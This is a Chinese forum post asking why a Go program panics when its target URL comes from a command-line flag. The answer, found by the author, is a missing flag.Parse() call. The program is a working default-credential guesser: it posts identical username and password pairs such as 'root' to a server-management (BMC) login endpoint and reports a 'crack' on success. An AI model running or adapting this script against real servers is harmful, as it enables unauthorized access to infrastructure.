谢谢大家
我有一段代码,就是发送post数据包的,如果我将目标的url写死,程序就正常运行,如果将目标的url写成 flag.StringVar就会报错
+ 报错的代码如下:
```
package main
import (
"flag"
"net/http"
"strings"
"fmt"
"io/ioutil"
)
func httpDo(url string,name string) {
ip := strings.Replace(url, "https://", "", -1)
ip = strings.Replace(ip, "http://", "", -1)
client := &http.Client{}
password := "WEBVAR_USERNAME=" + name + "&WEBVAR_PASSWORD=" + name
req, err := http.NewRequest("POST", url+"/rpc/WEBSES/create.asp", strings.NewReader(password))
if err != nil {
fmt.Println("主机可能不存活")
}
req.Header.Set("Accept", "application/json, text/plain, */*")
req.Header.Set("Origin", url)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
req.Header.Set("Content-Type", "application/json;charset=UTF-8")
req.Header.Set("Referer", url+"/index.html")
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
req.Header.Set("Cookie", "BMC_IP_ADDR="+ip+"; test=1")
resp, err := client.Do(req)
if err != nil{
fmt.Println("主机可能不存活")
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("读取失败")
}
str := string(body)
if strings.Contains(str,"HAPI_STATUS:0"){
fmt.Println("破解成功---帐号:"+name+"密码:"+name)
}else{
fmt.Println("破解失败")
}
}
func main() {
var url string
flag.StringVar(&url,"u","","http(s)://url")
//go httpDo(url,"admin")
httpDo(url,"root")
}
```
+ 报错内容
```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x644f60]
goroutine 1 [running]:
main.httpDo(0x0, 0x0, 0x6da4f0, 0x4)
/root/go/src/inspur_pass/inspurtest.go:31 +0x970
main.main()
/root/go/src/inspur_pass/inspurtest.go:48 +0xb6
exit status 2
```
+ 写死url,就不报错,代码如下:
```
package main
import (
"net/http"
"strings"
"fmt"
)
func httpDo() {
url := "http://www.baidu.com"
ip := strings.Replace(url, "https://", "", -1)
ip = strings.Replace(ip, "http://", "", -1)
name := "admin"
client := &http.Client{}
password := "WEBVAR_USERNAME=" + name + "&WEBVAR_PASSWORD=" + name
req, err := http.NewRequest("POST", url+"/rpc/WEBSES/create.asp", strings.NewReader(password))
if err != nil {
// handle error
}
req.Header.Set("Accept", "application/json, text/plain, */*")
req.Header.Set("Origin", url)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
req.Header.Set("Content-Type", "application/json;charset=UTF-8")
req.Header.Set("Referer", url+"/index.html")
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
req.Header.Set("Cookie", "BMC_IP_ADDR="+ip+"; test=1")
//req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
//req.Header.Set("Cookie", "name=anny")
resp, err := client.Do(req)
defer resp.Body.Close()
/*
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
*/
fmt.Println(resp.StatusCode)
//fmt.Println(string(body))
}
func main() {
// httpGet()
// httpPost()
// httpPostForm()
httpDo()
}
```
请问应该如何解决这个问题,又是什么原因导致的这个问题呢?
再次感谢大家
+ 解决了,缺少 flag.Parse()
有疑问加站长微信联系(非本文作者)